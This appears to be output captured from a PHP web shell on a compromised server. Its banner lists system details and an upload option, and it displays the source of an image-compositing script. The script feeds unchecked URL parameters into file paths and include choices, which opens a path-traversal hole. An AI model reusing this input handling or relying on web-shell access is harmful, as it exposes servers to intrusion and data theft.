( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/includes/codeDynamicImage3.php
<?php

 						  $layer_x=$row['left']['desktop'];
					 $layer_y=$row['top']['desktop'];
 					  $layer_w=$row['width'];
					 $layer_h=$row['height'];
					 $layeropacity=$row['deformation']['opacity'];
				 $layer_r=$row['deformation']['xrotate'];
				$str =	 $row['image_url'];
				$brand =basename($str);
				 $brand =basename($str);
				 $brand=explode('&', $brand);
				 $brand=$brand[0];
		
				  
	  		 $picture = explode('.',$brand);
		
         $ext = strtolower($picture[1]);
$imageFolder ="v/uploads/gthumbs/$brand";

if (file_exists($imageFolder)) {
    
}
else{
	$page_directory = dirname($row['image_url']);
	$parts=parse_url($page_directory);
	$path_parts=explode('/', $parts['path']);
	$page_directory = $path_parts[count($path_parts)-1];
	 
	copy("v/uploads/gthumbs/$page_directory/$brand", "v/uploads/gthumbs/$brand");
}
 switch ($ext)
{
	case 'gif':
		// We will be converting GIFs to PNGs to avoid transparency issues when resizing GIFs
		// This is maybe not the ideal solution, but IE6 can suck it
		$creationFunction	= 'ImageCreateFromGif';
		$outputFunction		= 'ImagePng';
		$mime				= 'image/png'; // We need to convert GIFs to PNGs
		$doSharpen			= FALSE;
		$quality			= round(10 - ($quality / 10)); // We are converting the GIF to a PNG and PNG needs a compression level of 0 (no compression) through 9
	break;
	
	case 'png':
	
		$creationFunction	= 'ImageCreateFromPng';
		$outputFunction		= 'ImagePng';
		$doSharpen			= FALSE;
		$quality			= round(10 - ($quality / 10)); // PNG needs a compression level of 0 (no compression) through 9
	break;
	
	default:
		$creationFunction	= 'ImageCreateFromJpeg';
		$outputFunction	 	= 'ImageJpeg';
		$doSharpen			= FALSE;
	break;
}
 		 
	$background2Rotation = (180+$brandr) + 180;
	
	
 if (!empty($_GET['newPic'])) {
		$details = $_GET['newPic'];
 $brand =	 $details;

} 


	$brand = $creationFunction("v/uploads/gthumbs/$brand");
	
	$foto2W 		= imagesx($brand); 
	$foto2H 		= imagesy($brand);

 
	$background2W	= $layer_w;
	$background2H 	= $layer_h;

	$background2TOP = $layer_y;
	$background2LEFT= $layer_x;
if(!empty($_GET['width'])){
		$newWidth= $_GET['width']; 
	$brand_width = $newWidth;   
	$brand_height = $newWidth; 
	$background2W = $newWidth;   
	$background2H = $newWidth;
	$foto2W 		= $layer_w; 
	$foto2H 		= $layer_h;
	  }
	$background2 	= imagecreatetruecolor($background2W,$background2H);
	 
	$trans_colour 	= imagecolorallocatealpha($background2, 0, 0, 0, 127);
	imagefill($background2, 0, 0, $trans_colour);
	
 
	 

	imagecopyresampled($background2, $brand, 0, 0, 0, 0, $background2W, $background2H, $foto2W, $foto2H);
	
/*	$background2 	= imagerotate($background2,$background2Rotation, -1,0);*/
	/*after rotating calculate the difference of new height/width with the one before*/
	$extraTop		=(imagesy($background2)-$background2H)/2;
	$extraLeft		=(imagesx($background2)-$background2W)/2;

	imagecopy($background, $background2,$background2LEFT-$extraLeft, $background2TOP-$extraTop, 0, 0, imagesx($background2), imagesy($background2));	
	
	
	
	$themeid = $_GET["theme_id"];
 $row = getParamJSONTheme($themeid);

	
 if(!empty($row['params'])){
  $params = json_decode("[".$row['params']."]");
$width = $params[0]->width;
  $height = $params[0]->height;
  
 }
 
 
 if(!empty($_GET['convoId']))
{ 

 $tweetIDX = $_GET['tweetIDX']; 
		 $row = getEachTweetPicture("$tweetIDX",0);
				 $url = $row["tweet_media"];
				 
				 
				 
			 if(!empty($url))
{ 

	MakeGridPictureTwitter($background, $url, 100,10,10, 0, 0,10,10, $width,$height);

}
			


}
	
	
	
	
	
				if (!empty($_GET['newPic']))
				{	$newPic = $_GET['newPic'];

if (strpos($newPic, '[STARTAG]-') !== false) {
include("codenewStartag.php"); 
}
else{
	
	
	
	
	

	 
	 if (!empty($_GET['newPic']))
{	 

	
 $layer_w=$row['width'];
					 $layer_h=$row['height'];
	
	$newPic = $_GET['newPic'];
 
 
	/*MakeGridPicture($background, $newPic , 100,2,2, 0, 0,10,10, $width,$height);
	*/
		


	

	
}
else
{
 
					include("includes/codenewPic.php"); 
				 
			 
	
	}
	
	
	
/*	include("codenewPic.php"); */
/*	$newPic = $_GET['newPic'];
	MakeGridPicture($background, $newPic , 100,10,10, 0, 0,10,10, 600,600);*/
	
	}}
  			 
	/* include("fxNew.php");*/
				 		
	 
	 
	 if (!empty($_GET['newUrl']))
				{
					$newUrl = $_GET['newUrl'];
					if(!empty($_GET['width'])){
		$newWidth= $_GET['width']; 
	$w = $newWidth;   
	$h = $newWidth;
	  }	
				  $background = gd_apply_url($background,$newUrl,$background2LEFT-$extraLeft,$background2TOP-$extraTop,imagesx($background2),imagesy($background2));
				}
							
					$layer_x=$row['left']['desktop'];
					 $layer_y=$row['top']['desktop'];
 					  $layer_w=$row['width'];
					 $layer_h=$row['height'];
					 $layeropacity=$row['deformation']['opacity'];